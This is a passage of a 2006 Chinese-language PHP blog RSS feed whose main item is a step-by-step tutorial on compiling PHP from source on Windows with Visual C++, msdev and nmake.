<img src ="http://www.phpweblog.net/GaRY/aggbug/323.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-15 15:55 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/15/323.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>How to Build PHP on Windows</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/15/How_to_Build_PHP_on_Windows.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 15 Aug 2006 07:16:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/15/How_to_Build_PHP_on_Windows.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/322.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/15/How_to_Build_PHP_on_Windows.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/322.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/322.html</trackback:ping><description><![CDATA[
		<p>Author: wofeiwo<br />Date: Aug 6th 2006 </p>
		<p>学习PHP,从编译开始:)</p>
		<p>类Unix系统上的编译方式各位基本都很熟悉,网上也有大把的资料可以查询.但是却很少见到PHP在windows平台上的编译方法.因此也导致了本文的诞生.你可以将本文当作对PHP手册上对windows上编译PHP一章的扩充版本.</p>
		<p>首先,借用PHP手册上的一段话:<br /><br /></p>
		<hr />
开始之前，很值得回答一下这个问题：为什么在 Windows 下编译这么难？两个原因： 
<p><br />Windows 下还没有愿意免费共享代码的开发人员群体。直接结果就是没有足够的投资去建立支持这种开发方式的体系。大体上，尽量得到的可用资源都是从 Unix 下的工具来的。</p><p>不要奇怪这种传统不会时出现。 </p><p>下面几乎所有的说明都是“看过就忘”的类型。所以坐稳当并且尽可能忠实地按照说明来做。 </p><hr /><br /><strong>环境需求:</strong><br /><br />首先,为了在windows上安编译,我们需要有 Microsoft 开发环境.推荐使用Mirosoft Visual C++ 6.0,当然VC++.net也同样可以. 
<p>从PHP5开始,支持 Microsoft .NET 的工具链(你需要安装 Windows Platform SDK, Visual C++ Toolkit and .NET Framework SDK)</p><p><br /><strong>准备工作: </strong></p><p>除此之外,还需要下载一些必要文件:</p><p><em>PHP 站点中的 win32 编译工具 </em><a href="http://www.php.net/extra/win32build.zip"><em>http://www.php.net/extra/win32build.zip</em></a><em>。 </em></p><p><em>PHP 使用的 DNS 解析器的源代码：</em><a href="http://www.php.net/extra/bindlib_w32.zip"><em>http://www.php.net/extra/bindlib_w32.zip</em></a><em>。编译好后,用这个替代 win32build.zip 中的 resolv.lib。 </em></p><p><br /><em>如果计划把 PHP 编译成 Apache 的静态模块那还需要 Apache 源程序。 </em></p><p><em>另外在编译过程中可能还需要其他库的支持,比如libxml(PHP5需要,可以从这里下载</em><a href="http://ctindustries.net/dom/libxml/"><em>http://ctindustries.net/dom/libxml/</em></a><em>) 或ICU (PHP6需要, </em><a href="http://icu.sourceforge.net/"><em>http://icu.sourceforge.net/</em></a><em>)<br /></em></p><p>当然你还需要PHP原代码本身,你可以从 <a href="http://www.php.net/downloads.php">http://www.php.net/downloads.php</a> 或是使用 CVS (<a href="http://cn.php.net/anoncvs.php">http://cn.php.net/anoncvs.php</a>)获得.</p><p>找个文件夹,把他们放到一起.(比如C:\PHP)</p><p>将win32build.zip,bindlib_w32.zip,PHP-x.x.x.tar.gz及其他库文件分别解压缩到C:\PHP中.</p><p>新建一个目录 c:\usr\local\lib。将 bison.simple 从 c:\PHP\win32build\bin 拷贝到 c:\usr\local\lib。</p><p>使用VC++编译C:\PHP\bindlib_w32下的resolv.lib库。自己决定是需要调试信息（bindlib - Win32 Debug）还是不需要（bindlib - Win32 Release）。编译适当的配置： </p><p><br />图形界面用户，运行 VC++，选择 File =&gt; Open Workspace，找到 c:\PHP\bindlib_w32 目录并选择 bindlib.dsw 文件。接着选择 Build =&gt; Set Active Configuration 菜单并</p><p>选择需要的配置。最后选择 Build =&gt; Rebuild All。 </p><p>命令行用户，确认要么注册了 C++ 环境变量，要么运行了 vcvars.bat，然后运行下面任意一行命令： <br /><br /></p><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><font size="2"><span style="COLOR: #000000">msdev bindlib</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">dsp </span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">MAKE </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">bindlib - Win32 Debug</span><span style="COLOR: #000000">"</span></font><font size="2"><span style="COLOR: #000000"> <br /><br />msdev bindlib</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">dsp </span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">MAKE </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">bindlib - Win32 Release</span><span style="COLOR: #000000">"</span></font><span style="COLOR: #000000"><font size="2"> <br /></font></span></div><p>到这一步，应该得到了一个 resolv.lib 在 c:\PHP\bindlib_w32\Debug 或者 Release 目录下。将此文件拷贝到 c:\PHP\win32build\lib 目录下并覆盖同名的文件。<br /> <br /></p><hr />
注意:如果有其他库文件及头文件,可以将其中的include,lib,bin文件夹复制到c:\PHP\win32build中<br /><hr /><br /><strong>旧的编译模式 -- 使用VC++进行编译:</strong><p>首先配置VC++,在菜单中选择 Tools =&gt; Options。在对话框中，选择 directories 标签。依次将下拉框改为 Executables，Includes 和 Library files。添加下面的路径,使其看</p><p>上去应该是： <br /><br /><em>Executable files: c:\PHP\win32build\bin</em></p><p><em>Include files: c:\PHP\win32build\include </em></p><p><em>Library files: c:\PHP\win32build\lib</em></p><p>然后你可以选择 File =&gt; Open Workspace 菜单并选择 c:\PHP\PHP-x.x.x\win32\PHPXts.dsw。接着选择 Build =&gt; Set Active Configuration 菜单并选择想要的配置，要么是 </p><p>PHPXts - Win32 Debug_TS 要么是 PHPXts - Win32 Release_TS。最后选择 Build =&gt; Rebuild All。</p><p>命令行用户,请参考上面编译 resolv.lib的步骤.</p><p>到这一步，应该得到一个可用的 PHP.exe 在 c:\PHP\PHP-x.x.x.\Debug_TS 或 Release_TS 目录下。</p><p>然后你可以选择不同的活动配置,来完成CLI,isapi等版本的PHP编译.</p><p><br /><strong>新的编译模式 -- 使用nmake: (PHP&gt;=5)</strong></p><p><em>注意:使用此方式你必须安装5.6版本以上的WScript.Shell对象.(</em><a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=c717d943-7e4b-4622-86eb-95a22b832caa&amp;DisplayLang=en"><em>http://www.microsoft.com/downloads/details.aspx?FamilyID=c717d943-7e4b-4622-86eb-95a22b832caa&amp;DisplayLang=en</em></a><em>)</em></p><p>首先打开windows命令行模式,进入c:\PHP\PHP-x.x.x目录,执行buildconf.bat</p><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><font size="2"><span style="COLOR: #000000">C</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">\</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">cd C</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">\PHP\PHP</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">5.1</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">4</span></font><span style="COLOR: #000000"><br /><br /><font size="2">C</font></span><font size="2"><span style="COLOR: #000000">:</span><span style="COLOR: #000000">\PHP\PHP</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">x</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">x</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">x</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">buildconf</span><span style="COLOR: #000000">.</span></font><font size="2"><span style="COLOR: #000000">bat<br />Rebuilding configure</span><span style="COLOR: #000000">.</span></font><font size="2"><span style="COLOR: #000000">js<br />Now run </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">cscript /nologo configure.js --help</span><span style="COLOR: #000000">'</span></font><span style="COLOR: #000000"><br /></span></div><p>然后使用'cscript /nologo configure.js --help'查看configure的各种选项,并按照你的需要配置并生成makefile文件</p><p><em>提示:如果你不熟悉configure的用法,推荐使用cscript /nologo configure.js --enable-snapshot-build就可以了</em></p><p>最后执行按照提示nmake.</p><p>到这里,你可以在c:\PHP\PHP-x.x.x.\Release, Release_TS, Debug 或 Debug_TS目录下找到编译好的PHP了.</p><p>当然你也可以选择编译单个文件</p><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><font size="2"><span style="COLOR: #000000">nmake php_mssql</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">dll</span></font></div><p>如果你想安装把你编译的PHP安装在系统上.可以使用:</p><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #000000"><font size="2">nmake install</font></span></div><p>nmake将把PHP文件复制到默认的安装目录中C:\PHP5.(可以在编译前通过 configure --enable-prefix=dir 来修改)</p><p><strong>参考文档:</strong></p><p><a href="http://kromann.info/article.php?Id=11062862408280000">http://kromann.info/article.php?Id=11062862408280000</a>  Building PHP5 on Win32<br /><a href="http://www.php.net/manual/en/install.windows.building.php">http://www.PHP.net/manual/en/install.windows.building.php</a><br />http://kromann.info/show.php?Id=2  configure help</p><img src ="http://www.phpweblog.net/GaRY/aggbug/322.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-15 15:16 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/15/How_to_Build_PHP_on_Windows.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>